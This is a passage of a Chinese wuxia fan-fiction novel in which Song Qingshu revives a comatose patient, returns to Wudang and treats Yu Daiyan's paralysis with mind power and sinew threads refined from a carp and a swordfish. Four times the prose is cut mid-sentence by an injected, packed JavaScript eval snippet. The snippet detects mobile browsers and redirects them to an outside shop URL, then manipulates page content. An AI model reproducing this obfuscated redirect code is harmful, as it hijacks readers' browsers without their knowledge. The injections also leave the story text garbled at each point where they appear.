宋青书虚弱地摆摆手:“老人家,莫急。令郎体内邪毒深重,今日只是化解了其中一部分关键。此法消耗极大,我需数日恢复,方能继续。这几日,你可尝试用温水软布替他擦拭关节,轻轻按摩,并继续喂服稀薄米汤或参汤吊命。” 接下来的七天,宋青书每日打坐恢复念力,同时辅以药物内服外敷,并持续为陈大牛施针,疏通经络。每恢复一些念力,他便再次小心翼翼地为陈大牛化解一处邪毒聚集之地。到第七日,陈大牛全身主要经脉的阴寒黑气已被清除大半,面色转为苍白而非死灰,全身僵硬程度大为缓解,关节已可被轻微活动,偶尔在刺激下会有无意识的肌肉抽动。 这一晚,宋青书进行最后一次也是最深入的治疗,目标是心脉附近最后一丝顽固邪毒。当念力将其彻底净化时,陈大牛忽然全身剧烈一颤,喉咙里发出“嗬”的一声长响,竟缓缓睁开了眼睛!眼神起初空洞茫然,渐渐聚焦,看到了泪流满面、颤抖着呼唤他名字的老母亲。 “娘……”嘶哑微弱,却清晰无比。 老妪扑到儿子身上,放声大哭,积压了数月的绝望与悲痛,终于宣泄而出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109838|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋青书疲惫至极,却露出了欣慰的笑容。他检查陈大牛脉象,虽仍虚弱,但已流畅许多,邪毒尽去,剩下的便是长期调养恢复的工夫了。 此事在渡口集引起不小轰动。“活死人”被救活,简直是神迹。众人对宋青书的医术奉若神明,甚至有好事者传说他能沟通阴阳,起死回生。 宋青书对此不置可否,只叮嘱陈大牛母子需静养,并开了详细的温补调理方子。老妪无钱,客栈掌柜主动表示愿意承担后续药费,并留母子在客栈帮工休养,直到陈大牛康复。 离开渡口集那日,陈大牛已能在母亲搀扶下起身,虽还虚弱,但确确实实是“活”过来了。母子二人千恩万谢,几乎要为他立长生牌位。 宋青书背着行囊,再次踏上旅程。 春风拂面,汉水滔滔。 20. 筋脉通选贯百川 武当山的春,总比山下迟来半分。山下早已杂花生树、群莺乱飞,山巅的残雪却仍未褪尽,在朝阳下泛着清冽的银光。 七十二峰巍然如昔,松涛阵阵卷着云海翻腾,与一年前宋青书下山时的景致仿佛别无二致,唯有他自身,历经山河淬炼,早已不复旧貌。 一年江湖历练,近两万里风霜跋涉,数百次生死一线的救治,让宋青书眉宇间的最后一丝青涩彻底褪去,沉淀出几分沉稳坚毅。身上的青衫洗得发白,袖口缀着细密的补丁——那是某次为急症患者施针时,被对方无意识抓破后,他自己连夜缝补的痕迹。背上的药箱,皮革被岁月磨得光亮,边缘已有些毛糙,却承载着一路救死扶伤的沉甸甸的过往。 唯有那双眼睛,依旧澄澈明亮,只是眼底深处,多了些洞悉世情悲欢的温润波澜,少了往日的浮躁与争强。 山门前执勤的弟子远远望见那道熟悉的青衫身影,先是一愣,随即喜出望外,高声呼喊:“大师兄回来了!大师兄回来了!” 消息如风穿松林,瞬间传遍整座山峦。 当宋青书踏着熟悉的石阶,一步步走向紫霄宫时,路上已聚了不少闻讯而来的师兄弟。他们簇拥着他,七嘴八舌地打探着山下的见闻,眼中满是毫不掩饰的好奇与艳羡。 “大师兄,听闻你治好了白河县的肺瘟?这可是天大的功德!” “山下是不是真如传言那般,流离失所者众多,还有饿死的人?” 宋青书微笑着一一应答,语气平和温润,既不夸大其词,也不故作谦逊。谈及历练中的艰苦,他只是轻描淡写带过;说起救治成功的病例,便多添几句医理心得;而聊到那些未能挽回的生命,他眼中会掠过片刻的黯然,那份悲悯发自肺腑,毫无作伪。 行至半山腰的练武场,恰逢莫七叔莫声谷正在指点弟子们练剑。 寒光闪烁间,剑气纵横,莫声谷一眼瞥见人群中的宋青书,当即眼睛一亮,收剑大步走来,宽厚的手掌重重拍在他的肩膀上,力道十足:“好小子!可算回来了!这一年在外面闯荡,没丢咱们武当的脸面吧?” 宋青书侧身躬身行礼,姿态恭谨:“莫七叔。弟子谨记师门教诲,不敢有半分逾矩。” “听山下传来的风声,你都挣下‘青书医者’的名头了!”莫声谷眼中满是欣慰与自豪,语气爽朗,“你爹虽嘴上不说,心里指不定乐开了花。快些上去吧,你太师父、你爹,还有几位师叔,都在紫霄宫等着见你呢。” 紫霄宫大殿内,香烟袅袅,静谧肃穆。张三丰端坐于正中蒲团之上,白发如雪,面容却温润如古玉,自带一股超然物外的平和气场。宋远桥、俞莲舟、俞岱岩、张松溪、殷梨亭五位师叔分立两侧,神色各有期许。当宋青书踏入殿门的那一刻,七道目光不约而同地落在他身上,有关切,有审视,更有掩饰不住的欣慰。 宋青书稳步上前,双膝跪地,行三拜九叩大礼,声音在空旷的大殿中回荡,清晰而沉稳:“不肖徒孙宋青书,拜见,拜见父亲、诸位师叔。弟子游历归来,特来复命。” 张三丰微微颔首,目光在他身上停留片刻,将他风尘仆仆的模样尽收眼底,温声道:“起来吧。青书,这一年来,你走遍鄂省,所见所闻、所行所悟,不妨细细说来。” 宋青书起身,垂手立于殿中,身姿挺拔如松。他没有急于开口,而是先从怀中取出那枚真武令,双手奉至张三丰面前,语气恭敬:“师祖所赐令牌,弟子幸不辱命,未曾滥用分毫,今日完璧归赵。” 张三丰接过令牌,指尖摩挲着上面温润的纹路,眼中闪过一丝赞许:“好,难得你这份持重。接着说吧。” 宋青书这才缓缓开口,讲述起一年来的经历。他没有按时间顺序平铺直叙,而是择取了几个印象最深的病例切入——榆树沟那个惊厥欲绝的孩童,白河县蔓延的致命肺瘟,渡口集那个被称作“活死人”的陈大牛……每一个病例,他都详细说明病情的凶险、自己的诊断思路、所用的方剂与针灸手法,以及在治疗过程中的得失与感悟。讲到救治的艰难处,他会稍稍停顿,语气凝重;谈及生命得以挽救时,声调中便会透出一丝不易察觉的欣慰与释然。 当他讲到以体内“念力”辅助救治,尤其是在白河县疫情和陈大牛病例中,大胆尝试运用此力,以及发现其独特效用时,殿中众人神色各异。俞莲舟眉头微蹙,陷入沉思;张松溪捻须颔首,若有所思;殷梨亭面露好奇,眼神中满是探究;莫声谷则直接瞪大了眼睛,难掩惊讶;宋远桥面色严肃,眼中有关切,也有几分欲言又止的询问。唯有张三丰,始终神色平静,仿佛早已预料到这般情形。 宋青书的讲述持续了近一个时辰,大殿内唯有他的声音缓缓流淌,时而低沉,时而温和。最后,他微微躬身,总结道:“……这一年历练,弟子最大的感悟有三。其一,医者之道,亦是侠者之道。侠之大者,为国为民;医之精者,救死扶伤,二者内核相通,皆是心存悲悯、行有担当。其二,世间疾苦之深重,远超弟子昔日想象。一人之力终有穷尽,日后需思索更广之法,方能惠及更多生民。其三……”他略作停顿,目光诚恳,“弟子体内那股‘念力’,随行善救治之举而日渐充盈,其性至柔至正,似乎对某些药石难愈的沉疴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109839|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗伤,有着独特效用。然弟子愚钝,尚未能完全参透其奥妙,运用之法也仅凭直觉摸索,恳请师祖、父亲、诸位师叔指点迷津。” 殿中一时陷入寂静,唯有香烟缭绕的细微声响。片刻后,张三丰缓缓开口:“青书,你过来。” 宋青书依言上前,屏息凝神。张三丰伸出右手,食中二指轻轻搭在他的腕脉上。一股温煦平和、却深不可测的真气缓缓探入宋青书体内,循着经脉游走一周,最终停留在丹田附近。张三丰心中本有考量:此前察觉青书体内那股力量似有躁动感,此番需循循善诱,不可贸然惊扰。 谁知,那团盘踞在丹田的白玉般念力光团,似是感知到外来探查的善意,并未生出抗拒,只是微微一动,散发出柔和温润的回应,与张三丰的真气相融相契,毫无冲突。 良久,张三丰收回手指,眼中先是掠过一丝讶异,随即化为深邃的了然,缓缓开口:“果然……此非内力,亦非真气,而是心念纯粹、行善积德所凝聚的一点灵光。古籍中或有记载,称之为‘功德力’‘念力’,亦或‘灵慧’,乃是至善至正之力。” “太师父明鉴。”宋青书恭声应道,“弟子亦有同感。每逢全力救人、心无杂念之时,此力便会自然流转,助我明辨病情症结、增强药效;但若稍存炫耀或功利之心,便会滞涩难行,甚至隐而不现。” “善。”张三丰颔首赞许,“你能有此体悟,实属难得。此力如何精进、如何运用自如,古籍中并无详细记载,需你日后自行体悟摸索。但切记,一切力量皆系于心,心正则力正,心偏则力邪,万不可本末倒置。” “弟子谨记太师父教诲。”宋青书躬身领命,神色愈发郑重。 张三丰又看向身旁众人,语气带着几分欣慰:“青书此番历练,见识、心性、医术皆有长足进益,更难得的是这份悲悯苍生的仁心。远桥,你生了个好儿子。” 宋远桥肃然拱手,语气谦逊:“师父过誉了,青书尚有许多不足之处,仍需多加磨砺。” “好了,一路风尘仆仆,想必也累了,且先下去休息吧。”张三丰挥了挥手,目光转向宋青书,补充道,“青书,你三师叔的伤,你也知晓。此番你习得一身医术,又有奇遇在身,若有闲暇,不妨去看看,或许能有新的想法也未可知。” 这话看似平淡,却让殿中所有人都心念一动——俞岱岩的伤残之痛,早已是武当上下的一块心病,张三丰此言,无疑是对宋青书医术与那奇特念力的极大信任。 宋青书心中亦是一震,随即郑重躬身行礼:“是,师祖。弟子稍作休整,便去拜见三师叔。” 21. 筋脉通选贯百川2 未时三刻,他提着药箱,来到俞岱岩所居的“听松小筑”。 道童清风正在院中煎药,见宋青书到来,忙起身行礼:“大师兄。” “清风师弟,三师叔可在?” “在厢房看书。大师兄请进,我去通传。” “不必了,我自去拜见。” 宋青书穿过庭院,来到厢房外,轻叩门扉:“三叔,青书求见。” “进来吧。”屋内传来俞岱岩平静的声音。 推门而入,只见俞岱岩坐在特制的轮椅中,身上盖着薄毯,膝上摊开一卷《南华经》。见到宋青书,他微微颔首:“坐。青书,你山下经历,收获不少吧。” 宋青书在对面椅中坐下,将药箱放在一旁:“三叔过奖。青书此番历练,却是念力有所增加,还想用念力来看看您的伤势……不知三叔可愿让青书再试一回?” 俞岱岩沉默片刻。十年来,他经历过太多次希望与失望的循环。起初是殷切期盼,后来是无奈接受,再到如今近乎心如止水。 但那次青书用念力第一次给他治疗时,第一次享念力之奇效,他那时确实又萌生了新的希望。 “也好。”他开口,“你既有新悟,看看也无妨。不过,不必强求。三叔那次可是被你吓着啦。” “三叔放心好了,我已经能够熟练地使用念力了。”宋青书起身,走到俞岱岩身侧,手指搭上俞岱岩右腕。脉象沉细无力,尤以尺脉为甚,肾气亏虚之象明显。这并不意外,瘫痪多年,气血不畅,脏腑功能势必衰退。他又仔细查看了俞岱岩的舌苔、眼睑,并轻轻按压其四肢、躯干多处穴位,询问感知。 三叔的肌肉萎缩更为明显,皮肤苍白缺乏弹性,触之冰凉。当他按压到腰背部几处大穴时,俞岱岩微微蹙眉:“此处……略有酸胀感。” 这是好消息,说明局部神经尚未完全坏死。 “三叔,当年受伤的具体情形与位置,可否再为弟子详述一遍?”宋青书虽早知道大概,但仍需最精确的信息。 俞岱岩闭了闭眼,似乎在回忆那不堪回首的一幕,声音平静无波:“当年在钱塘江边,我被少林金刚指力所伤,共有三处。最重的一击在背后‘悬枢’穴偏下半寸处,指力透骨,震断了脊骨,也伤了骨髓。另外两处分别在‘筋缩’、‘中枢’二穴附近,损伤了周围经络。” 宋青书深吸一口气:“三师叔,接下来,弟子会尝试以那‘念力’探入您伤处仔细查看。此法弟子未曾对旁人用过,或有不适,您随时告知。” “尽管施为。”俞岱岩闭上眼,放松身体。 宋青书凝神静气,将手掌轻轻虚按在俞岱岩后背“悬枢”穴附近。胸中那团白玉念力光团应念而动,分出一缕极细极柔的“触须”,透过掌心劳宫穴,缓缓渗入俞岱岩体内。 一种前所未有的清晰感知展开。 不同于以往探查病症时相对模糊的“气感”,此刻,在高度凝聚的念力探察下,宋青书仿佛“看”到了俞岱岩体内那错综复杂的景象——经脉如干涸的河床,多有淤塞断裂;气血流动滞涩微弱;而那最关键的伤处……悬枢穴附近的几节脊骨,果然有陈旧裂痕,骨髓腔内有阴暗的淤结团块,仿佛被某种霸道指力生生“钉”死、扼杀了生机。更麻烦的是,断裂的脊骨茬口虽已愈合,却错位生长,压迫到了中枢神经通路,周围更增生了许多紊乱的纤维组织,如同乱藤缠绕,将原本的通路堵得严严实实。 神经本身的情况更糟。大部分通路信号微弱如风中残烛,时断时续,有些区域则完全是一片死寂的黑暗。难怪三师叔下身毫无知觉。 念力继续深入,触及那些阴暗淤结和紊乱纤维时,宋青书感到一种顽固的“阻力”与“死寂”感,仿佛在触摸冰冷的顽铁。这是金刚指力残留的破坏性能量,与生机勃勃的念力性质截然相反。 他尝试以念力轻轻包裹、浸润一处较小的淤结。过程极其缓慢,念力消耗也很快。但一刻钟后,那处淤结的边缘,似乎真的被“软化”、“消融”了一点点!与之相连的一小段原本沉寂的经脉,竟微不可察地“跳动”了一下!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109840|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而一直闭目感应的俞岱岩,身体忽然极其轻微地一震,喉中发出一声几不可闻的闷哼。 “三师叔?”宋青书立刻收回念力,关切询问。 俞岱岩缓缓睁开眼,眼中第一次出现了明显的波动,那是震惊与难以置信:“方才……腰眼往下三寸处,似有一股……极微弱的热流窜过,随后……似乎有那么一瞬,我感觉到了一丝……麻痒。”他说得很慢,每个字都像在确认,“十年了……那里从未有过任何感觉。” 宋青书心中狂跳,强自镇定:“三师叔,方才弟子只是以念力稍微疏通了一处极小的淤塞。看来此法……或对您的伤势有效!但伤处太多、太深、太顽固,以弟子目前念力的质与量,恐非朝夕之功。” 俞岱岩定定地看着他,那双沉寂了十年的眼眸,此刻似有星火重燃:“有效……便好。不必急,青书,我们……有的是时间。” “是!”宋青书也感到一阵振奋,但随即冷静分析,“三师叔,今日只能到此为止。念力消耗颇巨,需时间恢复。而且,方才弟子观察,您伤处最麻烦的,除了旧淤,还有错位愈合的骨茬压迫,以及神经本身的严重损伤。念力或许能逐渐化去淤结、疏通被压迫的细微通路、甚至温养刺激受损神经,但对于错位的骨骼……恐无力矫正。” 俞岱岩却笑了,那是宋青书记忆中久违的、属于武当三侠的洒脱笑容:“能让我感觉到‘麻痒’,已是天大的进展。至于骨头……总能有办法。” 宋青书也笑了:“待我念力恢复,再为三叔仔细诊治。另外,弟子会翻查医书,看看有无辅助之法。” 离开听松小筑时,宋青书脚步轻快,心中充满了前所未有的希望与动力。三叔的伤,或许真的有机会!但同时,他也更清晰地认识到自己念力的局限,它虽善于化解异常、滋养生机,但对于骨骼的严重错位,似乎力有不逮。 “若能有什么东西,能作为念力的桥梁,深入伤处进行更精细、更持久的操作就好了……”他无意识地思索着,目光掠过山道旁潺潺的溪流。 22. 筋脉通选贯百川3 此后半月,宋青书每隔三日便去听松小筑一次,以念力为俞岱岩疏通伤处。进展缓慢却切实可见。俞岱岩腰部以下的微弱感知范围在逐渐扩大,从最初的麻痒,到后来能模糊感知到温凉、触碰。虽然离站起来还遥不可及,但这星星之火,已足够点燃深埋十年的希望。俞岱岩的精神面貌悄然改变,眼中多了神采,与宋青书谈笑间仿佛又变回了当年那个豪迈渊博的三侠。 这日清晨,宋青书去后山药圃采集一些舒筋活络的草药,准备配合念力治疗使用。途经山腰的“涤尘池”时,忽听池边传来喧哗与呵斥声。 “快!按住!别让它跑了!” “哎呀,它劲真大!” “笨蛋,抓尾巴!抓尾巴!” 只见两个约莫十一二岁的道童,云卷和云舒,正卷着裤腿站在浅水处,手忙脚乱地围捕一条硕大的青灰色鲤鱼。那鲤鱼足有成年男子的两足长,生命力顽强,在两人手中拼命挣扎甩尾,溅得水花四起。旁边草地上丢着一个小木桶和一把小刀。 “云卷,云舒,你们在做什么?”宋青书走上前,蹙眉颇有兴致地问道。 两个道童见是大师兄,连忙站直。云卷抹了把脸上的水,讷讷道:“大师、大师兄……今日厨房说想添道鲜汤,王管事让我们来池里捞条鱼……这鲤鱼太、太滑溜了……” 云舒补充,带着点炫耀:“这鱼可肥了!捞了快半个时辰呢!” 宋青书看向那条仍在徒劳挣扎的鲤鱼,它鳃部张合急促,鱼眼圆睁,充满了对生命的渴望与面临死亡的恐惧。他心中忽有所动,一种莫名的感悟涌上心头。万物有灵,生死皆重。自己用念力救人,是滋养生机。那这鲤鱼即将逝去的生机,能否以念力导引,化为另一种形式的“生”之力量? 一个近乎异想天开的念头闪过。 “你们二人,先将这鱼处理了。”宋青书吩咐道,“但鱼鳔、鱼肠、鱼骨皆可取用,唯独留下两侧的主筋,要尽量完整地抽出来,不要弄断。可能做到?” 云卷云舒虽不明所以,但对大师兄向来信服,连忙点头:“能!我们常看厨房师傅杀鱼,知道筋在哪儿!” 两人将鱼拿到池边青石上,云卷按住鱼身,云舒持小刀,熟练地剖开鱼腹,清理内脏。然后小心地在鱼身两侧脊柱旁,寻到那两条白色半透明、富有弹性的主筋,一点点与鱼肉骨骼分离,最终完整地抽了出来。两条筋各长约尺半,拇指粗细,沾着血丝,在晨光下微微颤动,仿佛还残留着生命的活力。 宋青书接过鱼筋,入手滑腻而坚韧。他让两个道童将鱼身其他部分送回厨房,自己则拿着鱼筋,走到池边僻静处的平滑大石旁。 他盘膝坐下,将两条鱼筋平铺于石上。闭目凝神,胸中念力光团缓缓旋转。这一次,他并非将念力外放探入他体,而是尝试将其极度凝聚,覆盖于双手之上。 他伸出双手,虚悬于鱼筋上方。意念集中,并非破坏,而是淬炼;并非夺其生机,而是转化其生命残留的精粹。 莹莹白光自他掌心渗出,如雾如纱,笼罩住两条鱼筋。鱼筋表面的血污杂质,在白光中悄然消融、净化。筋体本身开始发生奇异的变化:颜色从半透明白色,逐渐变得晶莹,内部似乎有微光流转;质地越发坚韧,弹性却仿佛在改变;原本滑腻的表面变得干燥而光滑。 宋青书全神贯注,小心翼翼地控制着念力的火候。他能感觉到鱼筋内残留的微弱生命能量,在念力的引导下被纯化、重组,与筋体本身的物质结构以一种玄妙的方式结合。 时间一点点过去。宋青书额角见汗,念力消耗颇大。终于,当掌心灵光敛去,石上呈现的不再是两条普通鱼筋,而是两根长约一尺三寸、细若琴弦、通体晶莹剔透宛如琉璃美玉、却又柔韧无比的奇异细线!它们静静地躺在石上,在阳光下折射出七彩毫光,触手微温,隐隐有一种难以言喻的亲和感。 宋青书看着手中这超乎想象的作品,心中震撼。 他只是心念一动,随性尝试,竟真的炼成了! 这炼化后的鱼筋线好似与自己的念力产生了某种奇特的共鸣联系。 他心中隐约抓住了什么——或许,这就是他之前苦思的桥梁! 就在这时,一个负责巡山的外门弟子匆匆跑来,气喘吁吁:“大师兄!不好了!后山采药的赵师弟不小心跌下山崖,被尖石块划伤了腿,伤口很大,血流不止,殷师叔正在救治,但说伤口太深太长,普通桑皮线怕是不易缝合,让问问您有没有什么好办法!” 宋青书心中一动,看向手中晶莹的鱼筋线。他拿起其中一根,对那弟子道:“带我去看看!” 后山一处平地上,受伤的赵师弟躺在一块铺了外衣的石板上,左大腿外侧有一道近半尺长的撕裂伤,皮开肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109841|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绽,深可见骨,鲜血汩汩而出。殷梨亭正以金针为他止血,但效果有限,眉头紧锁。旁边几个弟子焦急地围着。 “六叔!”宋青书快步上前。 “青书,你来得正好。伤口太深,需要缝合,但山中只有普通桑皮线,恐易引发炎症,且对这等深长伤口拉力未必足够。”殷梨亭快速说道,他虽也通医理,但处理这等重伤经验不及宋青书丰富。 宋青书查看伤口,清洗、上药止血后,果断道:“青书新得一种奇特的线,或可一试。”他取出那根晶莹鱼筋线,在殷梨亭惊讶的目光中,穿入特制的缝合弯针。 他凝神静气,下针缝合。针尖穿透皮肉时,他能清晰感觉到,手中这鱼筋线竟异常顺滑,对组织的切割损伤极小。更奇的是,当线体埋入伤口后,宋青书尝试将一丝微不可察的念力附着其上。 神奇的是念力能顺畅地沿着鱼筋线流动,仿佛这线就是天然就与念力相合! 他心中狂喜,面上却不动声色,手下稳健地将伤口分层缝合完毕。最后一针打完结,剪断线头。整个过程行云流水,比用普通桑皮线快了近一倍,而且伤口对合极其平整。 随后,他并未撒手,而是以手指轻触伤口附近的皮肤,将念力透过鱼筋线缝合处,缓缓注入。 这一次,念力不再是无形的浸润,而是有了路径可循!它们沿着鱼筋线构成的小径,均匀、持续地滋养着伤口两侧的组织,极大地促进愈合。 不过片刻,伤口的渗血完全停止,红肿也开始消退。受伤的赵师弟原本因失血和疼痛而苍白的脸上,露出了舒缓的神色:“大师兄,我感觉伤口处清清凉凉的,不那么疼了……” 殷梨亭仔细检查伤口,脸上惊讶之色越来越浓:“这……青书,你这线是何处得来?还有你这手法,似乎不止是缝合?” 宋青书直到此时,才缓缓舒了口气,心中激动难以言表。他成功了! 它不仅本身材质非凡,更能将念力的治疗效果,更精准、更持久地传递到伤处! 若用在三师叔的伤上……是否可以引导念力,沿着此线深入脊骨神经深处,进行更精细的修复?甚至,是否可以此线作为引导,辅助矫正错位的骨骼? 他看向殷梨亭和周围目瞪口呆的师兄弟们,又看向手中剩余的那根鱼筋线。“等一下再和六叔细说,我们先把赵师弟抬回去。” 23. 筋脉通选贯百川4 引导刺激俞岱岩腰部以下几近完全枯萎的主要神经干时,宋青书清晰地感觉到,鲤筋灵线的承载力已接近极限。它们能做的,更多是疏浚已有些许活力的旁支细流,对于那几近干涸的“主河道”,却难以注入足够强大的、能唤醒沉寂生机的力量。 又一次治疗结束后,俞岱岩虽然依旧感受到了进步——脚趾的颤动更明显了些,小腿肌肉偶尔会有不自觉的轻微跳动——但两人都心知肚明,进展再次进入了缓慢的瓶颈期。 “青书,不必沮丧。”反倒是俞岱岩看得开,他活动着已有知觉的手腕,语气平静,“能到今日地步,已是意外之喜。这鲤筋灵线,应该是已至其材质的极限了。” 宋青书看着手中那根用过数次后,灵光略显黯淡的细线,眉头紧锁:“三师叔所言极是。寻常河鲤,生于池沼,其性温吞,其筋绵韧有余而刚健不足,所蕴生机也属平和。要应对您伤处那沉积十年、霸道阴寒的指力残毒与几乎彻底坏死的神经,该是需要更具锋芒、更具勃发之气,同时本身材质也更强韧、更富生机的筋。” “更具锋芒?勃发之气?”俞岱岩若有所思,“山中猛虎、黑熊之筋如何?” 宋青书却缓缓摇头:“虎熊之筋,刚猛暴烈,其生机属性恐偏于破坏,与疗伤滋养所需的生发、修复之意未必完全相合。且其筋粗韧,炼化不易,难以达到神经修复所需的极致精细。”他脑海中电光石火般闪过一个念头,几乎是脱口而出:“或许……需要的是那种生于广阔动荡之境,一生与激流、巨浪、速度搏斗的生物!其筋必兼具超乎想象的韧性、瞬间爆发的力量,以及常年处于极限状态下淬炼出的顽强生机!” “与激流速度搏斗……”俞岱岩沉吟片刻,眼中精光一闪,“莫非是……大江中的鲟龙?或是……海里的某种快鱼?” “海!”宋青书的思路豁然开朗,“江河水缓,终究不及瀚海无垠,风波险恶!深海之中,必有迅捷如电、力可破浪的奇鱼!它们的筋,或许才是我们所需!” 这个想法让他兴奋,却也感到棘手。武当山深处内陆,获取海鱼之筋,谈何容易?更别说还要特定强大种类的活鱼或新鲜主筋。 他将这难题与自己的想法,再次向张三丰禀报。 冲虚阁宁心堂中,张三丰听完宋青书的论述,指节轻轻叩着桌面,缓缓道:“你的思路,另辟蹊径,合乎医理,亦暗合天道。万物禀性,确与其生长环境息息相关。狂暴大海中孕育的生灵,其筋骨的特性,或非江河湖泽之物可比。” 他顿了顿,看向侍立一旁的宋远桥:“远桥,我记得,福建泉州一带,有我武当一位俗家弟子,似乎是经营镖局的?” 宋远桥略一思索,答道:“师父记得不错。是泉州‘长风镖局’的东主,林峻峰。其祖上曾受我武当恩惠,他本人亦曾上山学艺数年,后因家业继承下山,但一直与山中保持联络,年节供奉不断,甚是恭敬。” “林峻峰……”宋青书记住了这个名字。 张三丰点头:“青书,你可修书一封,将所需之物详细描述,阐明此物关乎你三师叔伤势能否有突破之机。请那林峻峰代为留意寻觅。他常涉汪洋,交游广阔,或能有所获。” “太师父,父亲,”宋青书恳切道,“若能求得此物,治愈三师叔之伤,或有所望。” 宋远桥道:“林峻峰是知恩重义之人,若知是为救治三弟,必会倾力相助。此事交由为父来书信说明即可。青书,你将那鱼筋的具体要求、可能的鱼种推测,详细写下来。” 宋青书领命,回去后遍查冲虚阁中所有关于海外风物、奇珍异兽的残卷孤本。最终,在一本前朝海商笔记的插图中,他看到了一种鱼:体形似箭,吻部突出如长枪,背鳍高耸如帆,描述其“于碧波之中,动若雷霆,疾似闪电,其冲刺之速,目力难及,可洞穿木船之板”。旁注其名为“剑鱼”,亦唤“旗鱼”。 书中甚至含糊提及,有东南岛民勇士,会设法猎取此鱼,以其脊骨旁主筋混合药物秘制,用来接续断骨,有奇效,然获取极其危险。 “就是它了!”宋青书几乎可以肯定。生于狂暴大海,以极限速度生存,其筋必然蕴含着无与伦比的韧性,这绝对是他梦寐以求的! 他将旗鱼的图样、特征,以及所需其背部或尾部最强韧主筋的要求,仔细绘图注明,连同父亲的亲笔信,一起封好,由武当专程的信使快马送往福建泉州。 接下来,便是漫长的等待。在此期间,宋青书并未停止对俞岱岩的治疗。他转而将重点放在以现有鲤筋灵线,配合针灸与药物,进一步巩固和扩大已恢复的感知与微动区域,并继续指导俞岱岩修炼先天胎息导引术,温养元气,为可能到来的、更剧烈的治疗打下基础。 同时,他继续深化对念力操控的练习,只是对象换成了草木枝叶、不同材质的丝线等,不断锤炼自己的控制精度与持久力。他隐隐感到,自己对念力的理解与掌控,在这反复的消耗与恢复中,正向着更深层次迈进。 两个月后,泉州的回信终于到了。 来信是林峻峰亲笔,言辞极为恭谨热情。信中说道,接信后他立刻发动所有船队副掌、熟识渔民高价求购。旗鱼并不罕见,但其主要活动于远海深水区,捕捞极其困难,常需运气。目前仅寻得两条,但并非最大型,且非活体,乃渔民偶然网获,取其肉后,他立即高价购下全骨与筋络,以冰镇之法,由快船转快马,日夜兼程送来,希望能合用。 随信附上一个密封的檀木盒,以及数个稍大的包裹。 宋青书几乎是屏住呼吸打开檀木盒。里面铺着厚厚的油纸与吸水的石灰,中间是几条以油脂仔细包裹的、呈淡金微红之色、粗如小指的筋条。即使经过冰镇和数日奔波,依旧能感受到其远超鲤筋的坚韧与弹性,手指用力竟难以将其拉长变形,隐隐有一股属于海洋的微腥与一种内敛的锐气。 几日后那截淡金色的旗鱼灵线,在宋青书指尖泛着微光,却再也无法激起他打开檀木盒子时心头的狂泛涟漪。 连续数日的尝试,结果已经确定。 林峻峰送来的这批旗鱼筋,终究是不新鲜了。 起初,炼化过程就异常滞涩。这些鱼筋经过捕捞、取筋、冰镇、长途转运,纵然林峻峰已竭尽全力,但离水时间过长,筋络内那股属于深海霸主的鲜活、锐利,已悄然流失大半,残余的更多是材质本身的坚韧特性。宋青书耗费了比前次试验多出近倍的念力,才勉强将其炼化成形。所得灵线,外观虽与之前那截相似,淡金微光,触手坚韧,但一用之下,立判高下。 当他将此新炼化的灵线导入俞岱岩伤处时,预想中那摧枯拉朽般的穿透力与强烈激发感并未出现。 念力流经此线,虽比鲤筋灵线顺畅,却显得温吞了许多,仿佛钝刀割肉。对顽固淤结的消融效率大打折扣,对那些沉寂神经的刺激更是微乎其微,远不及第一次试验时带来的强烈反应。 俞岱岩闭目感应良久,最终只是微微摇头,眼中刚燃起不久的希望之火,不可避免地带上了几分黯淡。 “韧则韧矣,然其神已失。”俞岱岩说得平淡,却一语道破关键,“空留其形,已无活水奔流之气。看来,此物对‘新鲜’二字,要求极苛。” 宋青书默默收回灵线,心中沉郁。他何尝不知?万物生灵,其最本源的生命力量与特性,往往与鲜活状态息息相关,尤其是旗鱼这种以速度与爆发力称雄的物种,其筋络蕴含的生机,必定随着生命流逝而迅速消散。冰镇能保其形质不腐,却难留其神韵不散。 